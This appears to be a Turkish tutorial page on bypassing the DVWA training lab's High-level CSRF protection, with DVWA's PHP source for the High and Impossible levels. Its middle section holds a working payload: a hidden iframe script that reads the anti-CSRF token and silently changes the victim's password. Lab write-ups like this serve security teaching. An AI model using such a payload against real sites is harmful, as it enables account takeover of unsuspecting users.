• DVWA Tüm Dersler

• DVWA Cross Site Request Forgery (Low Level)
• DVWA Cross Site Request Forgery (Medium Level)
• DVWA Cross Site Request Forgery (High Level)

DVWA Cross Site Request Forgery High Güvenlik Seviyesinde Önlem

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

DVWA Cross Site Request Forgery High Güvenlik Seviyesini Atlatma

<iframe id="csrfAciklikliSayfa" src="http://DVWA_WEB_SERVER_IP_ADDRESS/dvwa/vulnerabilities/csrf" style="width:1px;height:1px;visibility:hidden;" onload="csrfSaldirisi();"></iframe>

<script>
    function csrfSaldirisi() {
        console.log("csrf attack started");
        
        var iframe = document.getElementById("csrfAciklikliSayfa");
        var doc = iframe.contentDocument  || iframe.contentWindow.document;
        var token = doc.getElementsByName("user_token")[0].value;
        const http = new XMLHttpRequest();
        const url = "http://DVWA_WEB_SERVER_IP_ADDRESS/dvwa/vulnerabilities/csrf/?password_new=saat&password_conf=saat&Change=Change&user_token="+token+"#";
        http.open("GET", url);
        http.send();
        console.log("password changed");
    }
</script>

http://192.168.56.136/dvwa/hackable/uploads/tmp.html

DVWA Cross Site Request Forgery Impossible Güvenlik Seviyesi

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

• https://systemweakness.com/hackerman-sergio-csrf-tutorial-dvwa-high-security-level-4cba47f2d695